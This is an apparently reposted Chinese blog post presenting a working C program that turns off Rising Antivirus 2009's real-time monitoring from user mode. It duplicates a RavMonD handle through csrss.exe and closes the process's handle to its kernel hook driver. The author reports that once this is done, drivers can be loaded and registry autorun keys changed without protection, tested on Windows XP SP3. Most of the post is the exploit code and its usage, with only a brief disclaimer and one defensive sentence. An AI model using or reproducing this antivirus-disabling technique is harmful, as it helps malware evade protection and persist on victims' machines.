標籤:style blog http color os art
原文連結:使用者層關閉瑞星2009殺毒軟體安全保護
我寫這個純粹是hacker精神,如果被濫用做病毒木馬一類的邋遢東東,可跟偶沒關係哦。
原理very簡單,我發現瑞星監控主要在RavMonD進程中,如果打破其與核心的聯絡,則瑞星監控功能就無法正常工作了,怎麼打破聯絡呢?如果是進核心的話當然有很多的辦法,從而沒有挑戰性了,況且RavMonD會阻止使用者進程去載入驅動或者動註冊表的關鍵地方,比如run子鍵。下面上測試代碼:
1 int main(int argc,char *argv[]) 2 { 3 if(argc != 4) 4 puts("usage ccon csrss.pid prmd.handle hooksys.handle"); 5 else 6 { 7 int pid = atoi(argv[1]); 8 int hprmd = atoi(argv[2]); 9 int hobj = atoi(argv[3]);10 11 if(!SetDebugPrivilege(true)) 12 puts("SetDebugPrivilege Failed!");13 HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);14 if(!hcs)15 {16 puts("Open Csrss.exe Failed");17 PrintErr(GetLastError());18 }19 else //直接開啟RavMonD進程會失敗的,so採用迂迴戰術20 {21 HANDLE hprmd_loc;22 if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),/23 &hprmd_loc,PROCESS_ALL_ACCESS,false,0))24 {25 puts("Get hprmd_loc Failed!");26 PrintErr(GetLastError());27 }28 else //關閉hooksys的控制代碼,打破其與核心的聯絡29 {30 HANDLE hobj_loc;31 if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,/32 GetCurrentProcess(),&hobj_loc,0,false,/33 DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))34 {35 puts("Get hobj_loc Failed!");36 PrintErr(GetLastError());37 }38 else39 {40 if(!CloseHandle(hobj_loc))41 {42 puts("Close hobj_loc Failed");43 }44 else45 puts("We Success Finally!!!");46 }47 }48 }49 }50 return 0;51 }
打破瑞星監控與核心的關聯之後,使用者進程可以任意載入驅動程式進核心或者篡改註冊表中的關鍵內容,我測試了一下,雖然第一次修改註冊表中的監控內容時瑞星還是會提示使用者是否允許修改,但是這時即使選擇否,同樣可以修改成功,而且以後的修改瑞星不會再提示了。
其實防守起來也很容易,瑞星只要不讓我們在ring3下取到hooksys的控制代碼就行了,當然仍然防不住核心中的攻擊,進入ring0還是可以為所欲為。我的測試環境 windows xp sp3 + 瑞星殺毒2009 21.49.14 測試成功.